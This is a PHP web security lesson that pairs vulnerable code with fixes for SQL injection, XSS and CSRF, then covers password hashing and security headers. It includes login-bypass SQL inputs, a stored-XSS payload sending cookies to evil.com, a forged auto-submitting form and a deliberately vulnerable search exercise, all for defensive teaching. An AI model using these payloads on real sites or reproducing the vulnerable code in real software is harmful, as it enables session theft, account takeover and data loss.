🔒 Lesson 23: Security Fundamentals

The Security Mindset

Every piece of data that enters your application — form inputs, URL parameters, cookies, headers, file uploads, even database values — is untrusted until you've validated and sanitized it. The golden rule of web security:

Let's look at the three most common vulnerabilities, what they look like, and exactly how to prevent them.

SQL Injection (SQLi)

SQL injection is the #1 most dangerous web vulnerability. It occurs when user input is inserted directly into a SQL query string, allowing an attacker to modify the query's logic.

The Vulnerable Code

<?php
// ❌ VULNERABLE — DO NOT USE
// User input is concatenated directly into the SQL string

$username = $_POST["username"];
$password = $_POST["password"];

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = $pdo->query($sql);

$user = $result->fetch();
if ($user) {
    echo "Welcome, " . $user["username"];
} else {
    echo "Invalid credentials.";
}

The Attack

An attacker enters this as the username:

admin' --

The resulting SQL becomes:

SELECT * FROM users WHERE username = 'admin' --' AND password = ''

The -- is a SQL comment — it tells the database to ignore everything after it. The password check vanishes. The query now selects the admin user with no password required. The attacker is logged in as admin.

It gets worse. An attacker could also enter:

' OR 1=1 --

This returns all users in the database. Or they could use UNION SELECT to read other tables, or DROP TABLE to destroy data entirely.

The Fix: Prepared Statements

Prepared statements separate the SQL structure from the data. The database receives the query template first, then the values separately. It's physically impossible for user data to modify the query's structure.

<?php
// ✅ SAFE — Prepared statement with named placeholders

$username = $_POST["username"];
$password = $_POST["password"];

// The query structure is fixed — :username is a placeholder, not a string concat
$stmt = $pdo->prepare(
    "SELECT * FROM users WHERE username = :username"
);
$stmt->execute(["username" => $username]);

$user = $stmt->fetch();

// Verify the password separately (see Password Hashing section)
if ($user && password_verify($password, $user["password_hash"])) {
    echo "Welcome, " . htmlspecialchars($user["username"]);
} else {
    echo "Invalid credentials.";
}

<?php
// ❌ Can't parameterize column names
$stmt = $pdo->prepare("SELECT * FROM users ORDER BY :column");
// This won't work — :column would be treated as a string literal

// ✅ Use a whitelist instead
$allowed = ["username", "email", "created_at"];
$column = in_array($_GET["sort"], $allowed) ? $_GET["sort"] : "created_at";
$stmt = $pdo->prepare("SELECT * FROM users ORDER BY $column ASC");
$stmt->execute();

SQLi Prevention Rules

Cross-Site Scripting (XSS)

XSS occurs when an attacker injects malicious JavaScript into a page that other users view. The browser can't tell the difference between your legitimate scripts and the attacker's injected code — it executes both.

Types of XSS

Stored XSS — The Attack

<?php
// ❌ VULNERABLE — User input displayed without escaping

// 1. Attacker submits a "comment" via a form:
//    <script>document.location='https://evil.com/steal?c='+document.cookie</script>

// 2. The comment is saved to the database (no issue here — the DB stores raw text)

// 3. Later, when anyone views the page:
$comments = $pdo->query("SELECT * FROM comments")->fetchAll();

foreach ($comments as $comment) {
    // ❌ Output without escaping — the script tag becomes live HTML
    echo "<div class='comment'>{$comment['body']}</div>";
}

// 4. Every visitor's browser executes the script — their cookies
//    are sent to the attacker's server. Session hijacking complete.

The Fix: Output Escaping

<?php
// ✅ SAFE — All output escaped with htmlspecialchars()

foreach ($comments as $comment) {
    $safeBody = htmlspecialchars($comment["body"], ENT_QUOTES, "UTF-8");
    echo "<div class='comment'>$safeBody</div>";
}

// The malicious script is now rendered as harmless text:
// &lt;script&gt;document.location=...&lt;/script&gt;
// The browser displays it as text, not code.

htmlspecialchars($value, ENT_QUOTES, "UTF-8")

Reflected XSS — The Attack

<?php
// ❌ VULNERABLE — Search query reflected without escaping

$query = $_GET["q"];
echo "<h2>Search results for: $query</h2>";

// Attacker sends this link to a victim:
// https://yoursite.com/search.php?q=<script>alert('XSS')</script>
// The victim clicks it, and the script executes in their browser

<?php
// ✅ SAFE — Escape the reflected input

$query = $_GET["q"] ?? "";
$safeQuery = htmlspecialchars($query, ENT_QUOTES, "UTF-8");
echo "<h2>Search results for: $safeQuery</h2>";

// The <script> tags are rendered as harmless text

Creating a Helper Function

Typing htmlspecialchars($value, ENT_QUOTES, "UTF-8") everywhere is verbose. Create a short helper:

<?php
/**
 * Escape a string for safe HTML output.
 * Short name for convenience — this is called everywhere.
 */
function e(string $value): string {
    return htmlspecialchars($value, ENT_QUOTES, "UTF-8");
}

// Usage — clean and readable:
echo "<p>" . e($comment["body"]) . "</p>";
echo "<input value=\"" . e($oldName) . "\">";

XSS Prevention Rules

Cross-Site Request Forgery (CSRF)

CSRF tricks a logged-in user into submitting a request they didn't intend to make. If you're logged into your bank and visit a malicious website, that site could contain a hidden form that submits a transfer request to your bank — and your browser helpfully attaches your session cookie.

The Attack

<!-- On evil-site.com — a hidden form that auto-submits -->
<form action="https://yoursite.com/delete_account.php" method="POST" id="attack">
    <input type="hidden" name="confirm" value="yes">
</form>
<script>document.getElementById("attack").submit();</script>

<!-- If yoursite.com processes this POST without a CSRF token,
     the logged-in user's account gets deleted. -->

The Fix: CSRF Tokens

A CSRF token is a unique, unpredictable string generated per session (or per form) and embedded as a hidden field. When the form is submitted, the server checks that the token matches the one it generated. The attacker's evil site can't know the token value, so their forged form will fail validation.

<?php
// File: includes/csrf.php

/**
 * Generate or retrieve the CSRF token for the current session.
 */
function csrfToken(): string {
    if (session_status() === PHP_SESSION_NONE) {
        session_start();
    }

    // Generate a new token if one doesn't exist
    if (empty($_SESSION["csrf_token"])) {
        $_SESSION["csrf_token"] = bin2hex(random_bytes(32));
    }

    return $_SESSION["csrf_token"];
}

/**
 * Output a hidden form field with the CSRF token.
 */
function csrfField(): string {
    return '<input type="hidden" name="csrf_token" value="'
         . htmlspecialchars(csrfToken())
         . '">';
}

/**
 * Validate the CSRF token from a form submission.
 * Returns true if valid, false if missing or mismatched.
 */
function csrfValidate(): bool {
    if (session_status() === PHP_SESSION_NONE) {
        session_start();
    }

    $sessionToken = $_SESSION["csrf_token"] ?? "";
    $formToken    = $_POST["csrf_token"] ?? "";

    if (empty($sessionToken) || empty($formToken)) {
        return false;
    }

    // Use hash_equals for timing-safe comparison
    return hash_equals($sessionToken, $formToken);
}

Using CSRF Tokens in a Form

<?php
// File: delete_account.php

require_once "includes/csrf.php";
session_start();

// ---- Handle form submission ----
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    // 1. Validate the CSRF token FIRST
    if (!csrfValidate()) {
        die("Invalid request — CSRF token mismatch. Go back and try again.");
    }

    // 2. Token is valid — safe to process the action
    // ... delete the account ...

    echo "Account deleted.";
    exit;
}
?>

<!-- Display the confirmation form -->
<form method="POST" action="delete_account.php">
    <!-- CSRF token as a hidden field -->
    <?= csrfField() ?>

    <p>Are you sure you want to delete your account? This cannot be undone.</p>
    <button type="submit">Yes, Delete My Account</button>
    <a href="dashboard.php">Cancel</a>
</form>

CSRF Prevention Rules

• Every state-changing form (POST, PUT, DELETE) must include a CSRF token
• Validate the token before processing any action
• Generate tokens with random_bytes() — never use predictable values like timestamps or user IDs
• Use the SameSite cookie attribute — Set SameSite=Lax or Strict on session cookies to block cross-origin form submissions in modern browsers
• Don't use GET for destructive actions — GET requests are trivially triggered via <img> tags, links, etc.

<?php
// Set secure session cookie settings (call before session_start)
session_set_cookie_params([
    "lifetime" => 0,          // Expires when browser closes
    "path"     => "/",
    "domain"   => "",         // Current domain only
    "secure"   => true,       // HTTPS only
    "httponly"  => true,       // No JavaScript access
    "samesite" => "Lax",      // Block cross-site form submissions
]);
session_start();

Password Hashing

If your database is ever breached (and you should assume it will be), passwords stored in plain text or with weak hashing (MD5, SHA-1) are immediately compromised. Modern password hashing uses algorithms designed to be slow and expensive — making brute-force attacks impractical even with powerful hardware.

❌ How NOT to Store Passwords

<?php
// ❌ Plain text — attacker reads passwords directly
$password = $_POST["password"];
$sql = "INSERT INTO users (username, password) VALUES (?, ?)";
$pdo->prepare($sql)->execute([$username, $password]);

// ❌ MD5 — cracked in milliseconds with rainbow tables
$hash = md5($password);

// ❌ SHA-256 — fast hash, not designed for passwords
$hash = hash("sha256", $password);

// ❌ MD5 with salt — still fast, still crackable
$hash = md5($password . "my_secret_salt");

✅ The Right Way: password_hash() and password_verify()

PHP's password_hash() uses bcrypt by default — an algorithm specifically designed for password storage. It automatically generates a random salt, applies multiple rounds of hashing, and produces a string that includes the algorithm, cost, salt, and hash all in one.

<?php
// ---- REGISTRATION: Hash the password ----

$password = $_POST["password"];

// password_hash() handles everything: algorithm, salt, cost
$hash = password_hash($password, PASSWORD_DEFAULT);

// $hash looks like: $2y$10$N9qo8uLOickgx2ZMRZoMye.IjqdkePBu.FQl4M8BnHUrS2hGqYOyq
// It contains: algorithm ($2y$), cost (10), salt, and hash — all in one string

// Store ONLY the hash in the database (60+ characters — use VARCHAR(255))
$stmt = $pdo->prepare("INSERT INTO users (username, password_hash) VALUES (?, ?)");
$stmt->execute([$username, $hash]);

echo "Account created!";

<?php
// ---- LOGIN: Verify the password ----

$username = $_POST["username"];
$password = $_POST["password"];

// 1. Look up the user by username
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
$user = $stmt->fetch();

// 2. Verify the password against the stored hash
if ($user && password_verify($password, $user["password_hash"])) {
    // Password matches! Start a session
    session_start();
    $_SESSION["user_id"] = $user["id"];
    $_SESSION["username"] = $user["username"];
    header("Location: dashboard.php");
    exit;
} else {
    // IMPORTANT: Don't reveal whether the username or password was wrong
    echo "Invalid username or password.";
}

Upgrading Hash Algorithms

PHP's PASSWORD_DEFAULT algorithm may change in future versions (e.g., from bcrypt to Argon2). Use password_needs_rehash() to automatically upgrade hashes when users log in:

<?php
// After a successful password_verify():
if (password_needs_rehash($user["password_hash"], PASSWORD_DEFAULT)) {
    // The stored hash uses an older algorithm or lower cost — upgrade it
    $newHash = password_hash($password, PASSWORD_DEFAULT);
    $pdo->prepare("UPDATE users SET password_hash = ? WHERE id = ?")
        ->execute([$newHash, $user["id"]]);
}

HTTPS & Secure Headers

Everything you've learned so far protects against application-layer attacks. But if the connection between the browser and server isn't encrypted, an eavesdropper on the network can read everything — passwords, session cookies, personal data.

HTTPS Is Mandatory

HTTPS encrypts all traffic between the browser and server using TLS (Transport Layer Security). In modern web development, HTTPS isn't optional — it's a baseline requirement.

• Free certificates: Let's Encrypt provides free, automated TLS certificates
• Hosting providers handle it: Most hosts (Netlify, Vercel, shared hosting) offer one-click HTTPS
• Browsers flag HTTP as insecure: Chrome and Firefox show warnings on non-HTTPS pages with forms

Security Headers

HTTP response headers can add additional layers of protection. Set these in your PHP code or Apache/Nginx configuration:

<?php
// Set security headers (call early, before any output)

// Force HTTPS for all future requests
header("Strict-Transport-Security: max-age=31536000; includeSubDomains");

// Prevent browsers from MIME-sniffing (guessing) content types
header("X-Content-Type-Options: nosniff");

// Prevent the page from being embedded in iframes (clickjacking protection)
header("X-Frame-Options: DENY");

// Enable the browser's XSS filter (older browsers)
header("X-XSS-Protection: 1; mode=block");

// Control what information the browser sends in the Referer header
header("Referrer-Policy: strict-origin-when-cross-origin");

// Content Security Policy — restrict which scripts/styles/images can load
// Start with a reporting-only policy and tighten as needed
header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'");

Defense in Depth Checklist

No single technique makes an application secure. Real security comes from layering multiple defenses so that a failure in one area doesn't compromise the entire system. Here's a checklist for every PHP application:

Hands-On Exercises

<?php
// search.php — Find users by name

$search = $_GET["q"];

// Search the database
$sql = "SELECT * FROM users WHERE name LIKE '%$search%'";
$results = $pdo->query($sql)->fetchAll();

echo "<h2>Results for: $search</h2>";

foreach ($results as $user) {
    echo "<p>{$user['name']} — {$user['email']}</p>";
}
?>

<?php
// search.php — Fixed version

// 1. Get and validate input
$search = trim($_GET["q"] ?? "");

// 2. Use prepared statement (fixes SQL injection)
$stmt = $pdo->prepare(
    "SELECT * FROM users WHERE name LIKE :search"
);
$stmt->execute(["search" => "%" . $search . "%"]);
$results = $stmt->fetchAll();

// 3. Escape reflected input (fixes reflected XSS)
echo "<h2>Results for: " . htmlspecialchars($search, ENT_QUOTES, "UTF-8") . "</h2>";

// 4. Escape database values (fixes stored XSS)
foreach ($results as $user) {
    $name  = htmlspecialchars($user["name"], ENT_QUOTES, "UTF-8");
    $email = htmlspecialchars($user["email"], ENT_QUOTES, "UTF-8");
    echo "<p>$name — $email</p>";
}

Summary

📚 Additional Resources

• OWASP Top 10 — The Most Critical Web Security Risks
• OWASP: SQL Injection Prevention Cheat Sheet
• OWASP: CSRF Prevention Cheat Sheet
• PHP Manual: password_hash()
• PHP Manual: htmlspecialchars()
• PortSwigger Web Security Academy — Free hands-on labs

🚀 What's Next?

You now know how to defend your PHP applications against the most common web vulnerabilities. In the final lesson — Lesson 24: Deployment, Next Steps & Best Practices — you'll learn how to take your application from your local LAMP stack to a live server. We'll cover deploying to free hosting, an introduction to Composer for dependency management, and a roadmap for your continued PHP learning journey including frameworks like Laravel and Symfony.